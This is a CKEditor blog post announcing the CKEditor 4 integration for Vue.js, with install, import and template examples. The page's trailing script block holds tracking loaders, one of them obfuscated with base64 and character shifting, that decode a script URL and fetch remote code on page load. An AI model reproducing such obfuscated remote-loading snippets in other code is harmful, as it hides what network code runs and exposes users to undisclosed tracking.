2024 Rich Text Editing Developer Survey

Share your thoughts on the future of collaborative rich text editing. (Our survey takes about 10 mins)

Have your say

CKEditor 4 - Integrate WYSIWYG editor with Vue.js

Integrate Vue.js with CKEditor 4

We are happy to announce the release of the native integration of CKEditor 4, a full-featured WYSIWYG editor, with Vue.js, one of the most popular JavaScript frameworks. The CKEditor 4 Vue integration is already available on npm. It allows you to implement CKEditor 4 as a Vue.js component, using the <ckeditor /> tag.

# WYSIWYG editor that fits your needs

We try to make installing and integrating CKEditor 4 as simple and intuitive as possible. Therefore, CKEditor 4 builds are available on npm, CDN and as zip packages. With a native component for Vue.js, we want to make the process of integrating the WYSIWYG editor even faster.

CKEditor 4 offers plenty of features to fit all editing needs. You can easily customize it and create your own build with a carefully selected set of features with the online builder.

CKEditor 4, a full-featured WYSIWYG editor for Vue.js.
CKEditor 4, a full-featured WYSIWYG editor for Vue.js.

# Is CKEditor 4 compatible with framework XYZ?

Yes. CKEditor 4 is compatible with every JavaScript framework that we have heard of so far. CKEditor 4 is a JavaScript rich-text editing component and it does not require any uncommon techniques or technologies to be used. Therefore, unless the framework that you use has very not typical limitations, CKEditor 4 is compatible with it.

A dedicated CKEditor 4 component for Vue simplifies the process of integrating the WYSIWYG editor with this popular framework. Similar integrations are available for Angular and React.

# WYSIWYG editor for Vue.js

In order to start using CKEditor 4 in your Vue application, install the ckeditor4-vue npm package as a dependency of your project:

npm install ckeditor4-vue

After installing, the CKEditor 4 WYSIWYG editor Vue component can be imported in your JavaScript code:

import CKEditor from 'ckeditor4-vue';

And enabled via a Vue.use() call:

Vue.use( CKEditor );

The <ckeditor /> tag should then be added in your template to create a CKEditor 4 instance:

<template>
  <div id="app">
    <ckeditor value="Hello, World!"></ckeditor>
  </div>
</template>

The value property used in the example above is responsible for setting the initial editor data.

Check out the documentation to learn about other installation methods, including using a direct script include and using the component locally.

By default, the WYSIWYG editor Vue integration will fetch the latest CKEditor 4 version from the CKEditor CDN. The CKEditor build, the editor type and other configuration options can be easily customized. You can learn more in the official CKEditor 4 Vue integration guide.

# Try it out!

We have created a few samples that show the integration of CKEditor 4 WYSIWYG editor component with Vue.js.

Check them out to see how to create an editor component and change its type, overwrite its configuration or bind an event handler. Additionally, see how to create a simple two-way data binding between the CKEditor 4 WYSIWYG editor component and other components, using the internal state of Vue components.

# Feedback

After a beta phase, a stable release of the CKEditor 4 Vue.js integration was published on May 27, 2020. Now we are awaiting your feedback and ideas on how it can be improved further. We also want to thank the community for all the comments and issues already reported. Please keep them coming and help us improve the CKEditor 4 WYSIWYG editor Vue integration!

At the same time, we are looking forward to hearing what other frameworks we should support with a native CKEditor 4 WYSIWYG editor integration. Angular and React are already supported!

If you are looking for a modern, customizable, and powerful rich-text editing framework with a native Vue.js integration, check out CKEditor 5.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

We use cookies and other technologies to provide you with a better user experience.

Learn more about cookies policy

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });